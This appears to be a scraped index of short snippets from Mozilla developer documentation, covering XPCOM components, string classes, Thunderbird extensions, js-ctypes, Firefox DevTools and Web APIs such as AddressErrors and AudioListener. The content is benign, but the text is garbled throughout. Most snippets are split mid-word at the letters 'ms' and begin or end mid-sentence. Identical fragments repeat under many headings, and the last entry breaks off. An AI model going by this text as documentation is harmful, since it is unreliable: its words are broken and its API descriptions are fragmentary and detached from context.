this is because many 'components' properties and methods are the
mselves implemented using xpconnect and subsequent calls to components.lastresult might reflect the result of 'implicit' xpconnect calls rather than the result of the target call.
Components.results
components.results is a read-only object whose properties are the names listed as the first parameters of the macros in js/xpconnect/src/xpc.
msg (also at table of errors), with the value of each corresponding to that constant's value.
Components.utils.Sandbox
the following objects are supported: -promise (removed in firefox 37) css indexeddb (web worker only) xmlhttprequest textencoder textdecoder url urlsearchpara
ms atob btoa blob file crypto rtcidentityprovider fetch (added in firefox 41) caches filereader for example: var sandboxscript = 'var encoded = btoa("hello");' + 'var decoded = atob(encoded);'; var options = { "wantglobalproperties": ["atob", "btoa"] ...
JavaXPCOM
community view mozilla embedding foru
ms...
Community
if you know of useful mailing lists, newsgroups, foru
ms, or other communities related to pyxpcom, please link to them here.
XPCshell Test Manifest Expressions
note that it currently see
ms like neither this list nor the one on the official docs is exhaustive, so if you need something and it's not here, best check the source code!
Language bindings
the scriptable methods on the nsicomponentmanager interface can be called directly on this object.components.resultscomponents.results is a read-only object whose properties are the names listed as the first parameters of the macros in js/xpconnect/src/xpc.
msg (also at table of errors), with the value of each corresponding to that constant's value.components.returncodecomponents.stackcomponents.stack is a read only property of type nsistackframe (idl definition) that represents a snapshot of the current javascript callstack.
nsresult
note: on compilers that do not support strongly-typed enu
ms (that is, compilers that don't support this feature of c++11), it falls back to being an unsigned 32-bit integer, as in past versions of gecko.
NS_ConvertASCIItoUTF16
ource parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
NS_ConvertUTF16toUTF8
onst char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
NS_ConvertUTF8toUTF16
ource parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
NS_LossyConvertUTF16toASCII
onst char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
nsAString
nsastring corresponds to the astring and do
mstring xpidl data types.
nsAdoptingCString
onst char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
nsAdoptingString
ource parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
nsAutoString
ource parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
nsCAutoString
rameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
nsCString
onst char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
nsDependentCString
onst char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
nsDependentString
ource parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
nsFixedCString
onst char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
nsFixedString
ource parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
nsPromiseFlatCString
onst char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
nsPromiseFlatString
ource parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
RefPtr
there are no technical proble
ms with doing so, and in some cases it may be necessary (see bug 756640 comment 1).
nsString
ource parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
nsXPIDLCString
onst char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
nsXPIDLString
ource parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method tri
ms characters found in atri
mset from either end of the underlying string.
IAccessibleComponent
coordinates used by the functions of this interface are specified in different coordinate syste
ms.
nsIBinaryOutputStream
this might be used, for example, to implement network protocols or to produce architecture-neutral binary disk files, that is ones that can be read and written by both big-endian and little-endian platfor
ms.
nsICacheDeviceInfo
maximu
msize unsigned long get the upper limit of the size of the data the cache can store.
nsICacheEntryDescriptor
doom() this method doo
ms the cache entry this descriptor references in order to slate it for removal.
nsICacheService
note: this function may evict some ite
ms but will throw if it fails to evict everything.
nsICacheSession
doomentry() asynchronously doo
ms an entry specified by the key.
nsIChannel
implementations are allowed to synchronously add the
mselves to the associated load group (if any).
nsIClipboard
forcedatatoclipboard() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) some platfor
ms support deferred notification for putting data on the clipboard this method forces the data onto the clipboard in its various formats this may be used if the application going away.
nsIClipboardDragDropHooks
inherits from: nsisupports last changed in gecko 1.7 embedders who want to have these hooks made available should implement nsiclipboarddragdrophooks and use the command manager to send the appropriate commands with these parameters/settings: command: cmd_clipboarddragdrophook para
ms value type possible values "addhook" isupports nsiclipboarddragdrophooks as nsisupports "removehook" isupports nsiclipboarddragdrophooks as nsisupports note: overrides/hooks need to be added to each window (as appropriate).
nsICommandLine
preventdefault boolean there may be a command-line handler which perfor
ms a default action if there was no explicit action on the command line (open a default browser window, for example).
nsIComponentManager
function startup(para
ms, areason) { if (services.vc.compare(services.appinfo.platformversion, "10.0") < 0) components.manager.addbootstrappedmanifestlocation(para
ms.installpath); } function shutdown(para
ms, areason) { if (services.vc.compare(services.appinfo.platformversion, "10.0") < 0) components.manager.removebootstrappedmanifestlocation(para
ms.installpath); } ...
nsIConsoleService
patible way: function getconsolemessagearray() { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); var array = {}; return consoleservice.getmessagearray(array, {}) || array.value; } logging a simple message a common usage is logging a message string to the console: function log(
msg) { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); consoleservice.logstringmessage(
msg); } alternative logging methods include components.utils.reporterror and dump().
nsIContentFrameMessageManager
methods void dump(in do
mstring astr); do
mstring atob(in do
mstring aasciistring); do
mstring btoa(in do
mstring abase64data); dump() prints the specified string to standard output.
nsIDOMFontFaceList
1.0 66 introduced gecko 7.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) method overview nsidomfontface item(in unsigned long index); attributes attribute type description length unsigned long the number of ite
ms in the list.
nsIDOMMozNetworkStats
to create an instance, use: var networkstatsmanager = components.classes["@mozilla.org/networkstats;1"] .createinstance(components.interfaces.nsidomnetworkstats); attributes attribute type description connectiontype do
mstring connection type of the stats.
Using nsIDirectoryService
on platfor
ms which use path environment variables, you will need to set one of these paths to the /bin directory.
Using nsISimpleEnumerator
s var enumerator = document.getelementbyid('astringbundleid').strings; var s = ""; while (enumerator.hasmoreelements()) { var property = enumerator.getnext().queryinterface(components.interfaces.nsipropertyelement); s += property.key + ' = ' + property.value + ';\n'; } alert(s); example using javascript 1.7 features // creates a generator iterating over enum's values function generatorfro
msimpleenumerator(enum, interface) { while (enum.hasmoreelements()) { yield enum.getnext().queryinterface(interface); } } var b = document.getelementbyid("stringbundleset").firstchild var props = generatorfromenumerator(b.strings, components.interfaces.nsipropertyelement); var s = ""; for (let property in props) { s += property.key + ' = ' + property.value + ';\n'; } alert(s); links c...
Weak reference
it see
ms reasonable to want to simply queryinterface between the two.
XTF
for example, the mozilla xfor
ms project uses xtf to add support for the xfor
ms namespace.
The Valgrind Test Job
if you need help or experience proble
ms if you need help with the valgrind test job, please contact nicholas nethercote or gary kwong.
Testing Mozilla code
ill focus on the modern and robust way of static-analysis and the second part will present the build-time static-analysis.debugging mozilla with valgrindthis page describes how to use valgrind (specifically, its memcheck tool) to find memory errors.firefox and address sanitizeraddress sanitizer (asan) is a fast memory error detector that detects use-after-free and out-of-bound bugs in c/c++ progra
ms.
Cached compose window FAQ
any new window performance proble
ms that mozilla has are especially painful in mail compose, as we need to create a new compose window on every new mail message or reply.
Events
msgcreatedbview onactivecreatedview onactivemessagesloaded the active messages in the folder have been loaded oncreatedview a folder view has been created, but not yet shown.
LDAP Support
workstate st workstate region workzipcode postalcode workzipcode zip workcountry countryname jobtitle title department ou department orgunit department department department departmentnumber company o company company workcountry countryname _ai
mscreenname nscpai
mscreenname webpage1 workurl webpage2 homeurl birthyear birthyear custom1 custom1 custom2 custom2 custom3 custom3 custom4 custom4 notes notes notes description prefermailformat xmozillausehtmlmail lastmodifieddate modifytimestamp custom ldap ...
Building a Thunderbird extension 3: install manifest
<em:name>my first extension</em:name> <em:version>1.0</em:version> <em:creator>jenzed</em:creator> <em:targetapplication> <description> <em:id>{3550f703-e582-4d05-9a08-453d09bdfdc6}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>5.0.*</em:maxversion> </description> </em:targetapplication> </description> </rdf> the following ite
ms (shown in bold) should be customized for your application: <em:id>myfirstext@jen.zed</em:id>: this is the id of the extension.
Access Thunderbird Window Areas
var foldertree = getfoldertree(); var searchinput = getsearchinput(); var messagepane = getmessagepane(); var messagepaneframe = getmessagepaneframe(); var mailtoolbox = getmailtoolbox(); var current
msgfolder = getloaded
msgfolder(); see the
msgmail3panewindow.js for other helper methods ...
Access Window
register a timer window.setinterval( function() { alert('foobar'); }, 60000); //execute the function once very minute if you periodically need to perform a certain action then you can use the setinterval function, it will then call this function every x milliseconds, in this case every 60000
ms or one minute.
Tips and Tricks from the newsgroups
) define a custom protocol handler to call an external program save attachment and send it repeat image display using css sprites messages use reminderfox to open a message in the default thunderbird message window (when messageuri, folderuri and gdbview are unknown) determine whether a message has been flagged as junk imap: getting message key of copied message by nsi
msgcopyservice::copyfilemessage access the plain text content of the email body get information about attachment without selecting message repeat image display using css sprites scan for new messages at startup and manually scan a folder initiated by user force listeners to run consecutively to prevent pop messages from getting garbled during message retrieval ...
Thunderbird extensions
all these concepts are related : a conversation contains messages which are linked to identities (from field, to field) which are the
mselves part of a contact: indeed, a contact has multiple identities.
Using tab-modal prompts
an alert!"]; prompt.alert.apply(null, promptargs); nsiprompt will automatically fall back to window-modal prompts when necessary (such as in situations in which tab-modal prompts aren't supported, or for prompts displayed outside the context of a tab).le to use other for
ms of the prompts of nsipromptservice interface see the example code.
Using the Mozilla source server
t a local build what you'll need windbg or visual studio (note: express editions will not work, but windbg is a free download) a nightly build that was created after april 15, 2008; go to the /pub/firefox/nightly/latest-mozilla-central/ folder and grab the installer for builds predating the switch to mercurial, you'll need cvs.exe, added to your path (the cvs.exe from mozillabuild has proble
ms, use this one instead) note: do not use the cvs from mozillabuild, it will not work!
Using the Mozilla symbol server
if you would like to get symbols from microsoft's symbol server as well, you should list that first (note: you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://
msdl.microsoft.com/download/symbols;srv*c:\symcache\*https://symbols.mozilla.org/ downloading symbols using symchk.exe you can also download the symbols using symchk.exe, part of microsoft's debugging tools for windows.
Examples
using com from js-ctypes an example how to use com api of windows syste
ms from js-ctypes, by converting c++ code to c code.
Declaring types
types are declared in ter
ms of other, already defined types.
Memory Management
a cdata will hold referent cdata objects alive, under specific circu
mstances.
Working with data
creating uninitialized cdata objects there are three for
ms of the syntax for creating cdata objects without immediately assigning them a value: var mycdataobj = new type; var mycdataobj = new type(); var mycdataobj = type(); these all do the same thing: they return a new cdata object of the specified type, whose data buffer has been populated entirely with zeroes.
ctypes.open
a native file for use on unix syste
ms is an so file, which is created and a c function called add() is written.
CData
mdnfirefox" at js array position 36 (so 37 if count from 1), we see 183, and at 77 we see char code of 0 if casted to unsigned_char, if casted to char we see -73 at pos 36 but pos 77 still 0, if casted to jschar we see chineese characters in all spots expect spaces even null terminator is a chineese character console.info('ptrasarr.length:', ptrasarr.length); //console.log('debug-
msg :: datacasted:', datacasted, uneval(datacasted), datacasted.tostring()); var charcode = []; var fromcharcode = [] for (var i=0; i<ptrasarr.length; i++) { //if known_len is correct, then will not hit null terminator so like in example of "_scratchpad/entehandle.js at master · noitidart/_scratchpad mdnfirefox" if you pass length of 77, then null term will not get hit by th...
js-ctypes reference
other features error-handling js-ctypes supports both errno (on all platfor
ms) and getlasterror (on windows platfor
ms).
js-ctypes
using c structs and pointers using com from js-ctypes using objective-c from js-ctypes github :: ochameau / jscpptypes a mangling library to use c++ from js-ctypes community view mozilla foru
ms...
Blocking By Domain - Plugins
plugin detection mechanis
ms such as navigator.mimetypes and navigator.plugins will also behave as if the plugin were not installed.
Scripting plugins - Plugins
« previousnext » xxx: dummy p element this document describes the new cross-browser npapi extensions, commonly called npruntime, that have been developed by a group of browser and plugin vendors, including the mozilla foundation, adobe, apple, opera, and sun microsyste
ms (see press release).
URLs - Plugins
gopher (gopher protocol) locates specified ite
ms on a gopher server.
Access debugging in add-ons - Firefox Developer Tools
the following ite
ms are accessible in the context of chrome://browser/content/debugger.xul (or, in version 23 beta, chrome://browser/content/devtools/debugger.xul): window.addeventlistener("debugger:editorloaded") - called when the read-only script panel loaded.
Debugger.Object - Firefox Developer Tools
(in the ter
ms used by the ecmascript specification, the variableenvironment of the execution context forcode is the referent, and thebindings appear in a new declarative environment, which is the eval code’s lexicalenvironment.) theoptions argument is as for debugger.frame.prototype.eval.
Throttling - Firefox Developer Tools
selection download speed upload speed minimum latency (
ms) gprs 50 kbps 20 kbps 500 regular 2g 250 kbps 50 kbps 300 good 2g 450 kbps 150 kbps 150 regular 3g 750 kbps 250 kbps 100 good 3g 1.5 mbps 750 kbps 40 regular 4g/lte 4 mbps 3 mbps 20 dsl 2 mbps 1 mbps 5 wi-fi 30 mbps 15 mbps 2 network monitor fe...
Network monitor recording - Firefox Developer Tools
this is useful in situations where, for example, you are trying to get a stable view of a page for debugging purposes, but under normal circu
mstances the view keeps evolving due to persistent network requests.
Animation inspector example: CSS transitions - Firefox Developer Tools
//udn.realityripple.com/samples/e6/a96484b5c3.png" class="icon"/> <span class="note">firefox developer edition</span> </div> css content .channel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } .icon { width: 50px; height: 50px; filter: grayscale(100%); transition: transform 750
ms ease-in, filter 750
ms ease-in-out; } .note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; transition: opacity 500
ms 150
ms, width 500
ms 150
ms; } .icon#selected { filter: grayscale(0%); transform: scale(1.5); } .icon#selected+span { opacity: 1; width: 300px; } javascript ...
How to - Firefox Developer Tools
s grid inspector: examine grid layoutsedit css filtersedit shape paths in cssedit fontsexamine event listenersexamine and edit cssexamine and edit htmlexamine and edit the box modelinspect and select colorsopen the inspectorreposition elements in the pageselect an elementselect and highlight elementsuse the inspector apiuse the inspector from the web consoleview background imagesvisualize transfor
mswork with animations ...
Page Inspector - Firefox Developer Tools
how to to find out what you can do with the inspector, see the following how to guides: open the inspector examine and edit html examine and edit the box model inspect and select colors reposition elements in the page edit fonts visualize transfor
ms use the inspector api select an element examine and edit css examine event listeners work with animations edit css filters edit css shapes view background images use the inspector from the web console examine css grid layouts examine css flexbox layouts reference keyboard shortcuts settings ...
Allocations - Firefox Developer Tools
this shows you all the allocations that collectively triggered this gc event: if you're seeing these proble
ms, consider whether you can reduce the number or size of the allocations you're making here.
Performance - Firefox Developer Tools
intensive javascript uses the frame rate and waterfall tools to highlight performance proble
ms caused by long-running javascript, and how using workers can help in this situation.
Firefox Developer Tools
download firefox developer edition connecting the developer tools if you open the developer tools using keyboard shortcuts or the equivalent menu ite
ms, they'll target the document hosted by the currently active tab.
AddressErrors.addressLine - Web APIs
syntax var addresslineerror = addresserrors.addressline; value if an error occurred during validation of the address due to one of the strings in the addressline array having an invalid value, this property is set to a do
mstring providing a human-readable error message explaining the validation error.
AddressErrors.city - Web APIs
syntax var cityerror = addresserrors.city; value if the value specified in the paymentaddress object's city property could not be validated, this property contains a do
mstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
AddressErrors.country - Web APIs
syntax var countryerror = addresserrors.country; value if an error occurred during validation of the address due to the country property having an invalid value, this property is set to a do
mstring providing a human-readable error message explaining the validation error.
AddressErrors.dependentLocality - Web APIs
syntax var localityerror = addresserrors.dependentlocality; value if the value specified in the paymentaddress object's dependentlocality property could not be validated, this property contains a do
mstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
AddressErrors.languageCode - Web APIs
syntax var languageerror = addresserrors.languagecode; value if the value specified in the paymentaddress object's languagecode property could not be validated, this property contains a do
mstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
AddressErrors.organization - Web APIs
syntax var organizationerror = addresserrors.organization; value if the value specified in the paymentaddress object's organization property could not be validated, this property contains a do
mstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
AddressErrors.phone - Web APIs
syntax var phoneerror = addresserrors.phone; value if the value specified in the paymentaddress object's phone property could not be validated, this property contains a do
mstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
AddressErrors.postalCode - Web APIs
syntax var postcodeerror = addresserrors.postcode; value if the value specified in the paymentaddress object's postalcode property could not be validated, this property contains a do
mstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
AddressErrors.recipient - Web APIs
syntax var recipienterror = addresserrors.recipient; value if the value specified in the paymentaddress object's recipient property could not be validated, this property contains a do
mstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
AddressErrors.region - Web APIs
syntax var regionerror = addresserrors.region; value if the value specified in the paymentaddress object's region property could not be validated, this property contains a do
mstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
AddressErrors.regionCode - Web APIs
syntax var regioncodeerror = addresserrors.regioncode; value if the value specified in the paymentaddress object's regioncode property could not be validated, this property contains a do
mstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
AddressErrors.sortingCode - Web APIs
syntax var sortingcodeerror = addresserrors.sortingcode; value if the value specified in the paymentaddress object's sortingcode property could not be validated, this property contains a do
mstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
Animation.id - Web APIs
syntax var animationsid = animation.id; animation.id = newidstring; value a do
mstring which can be used to identify the animation, or null if the animation has no id.
Animation.playState - Web APIs
so they must be paused as soon as they are animated like so: // setting up the tear animations tears.foreach(function(el) { el.animate( tearsfalling, { delay: getrandom
msrange(-1000, 1000), // randomized for each tear duration: getrandom
msrange(2000, 6000), // randomized for each tear iterations: infinity, easing: 'cubic-bezier(0.6, 0.04, 0.98, 0.335)' }); el.pause(); }); // play the tears falling when the ending needs to be shown.
AnimationEvent.pseudoElement - Web APIs
summary the animationevent.pseudoelement read-only property is a do
mstring, starting with '::', containing the name of the pseudo-element the animation runs on.
AudioContext - Web APIs
audiocontext.createmediastrea
msource() creates a mediastreamaudiosourcenode associated with a mediastream representing an audio stream which may come from the local computer microphone or other sources.
AudioListener.dopplerFactor - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.forwardX - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.forwardY - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.forwardZ - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.positionX - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.positionY - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.positionZ - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.setPosition() - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.speedOfSound - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.upX - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.upY - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.upZ - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioNode - Web APIs
for example, if your graph has a latency of 500
ms, when the source node plays a sound, it will take half a second until that sound can be heard on your speakers (or even longer because of latency in the underlying audio device).
AudioParamMap - Web APIs
the web audio api interface audioparammap represents a set of multiple audio parameters, each described as a mapping of a do
mstring identifying the parameter to the audioparam object representing its value.
AudioTrack.id - Web APIs
syntax var trackid = audiotrack.id; value a do
mstring which identifies the track, suitable for use when calling gettrackbyid() on an audiotracklist such as the one specified by a media element's audiotracks property.
AudioTrack.kind - Web APIs
syntax var trackkind = audiotrack.kind; value a do
mstring specifying the type of content the media represents.
AudioTrack.label - Web APIs
syntax var audiotracklabel = audiotrack.label; value a do
mstring specifying the track's human-readable label, if one is available in the track metadata.
AudioTrack.language - Web APIs
syntax var audiotracklanguage = audiotrack.language; value a do
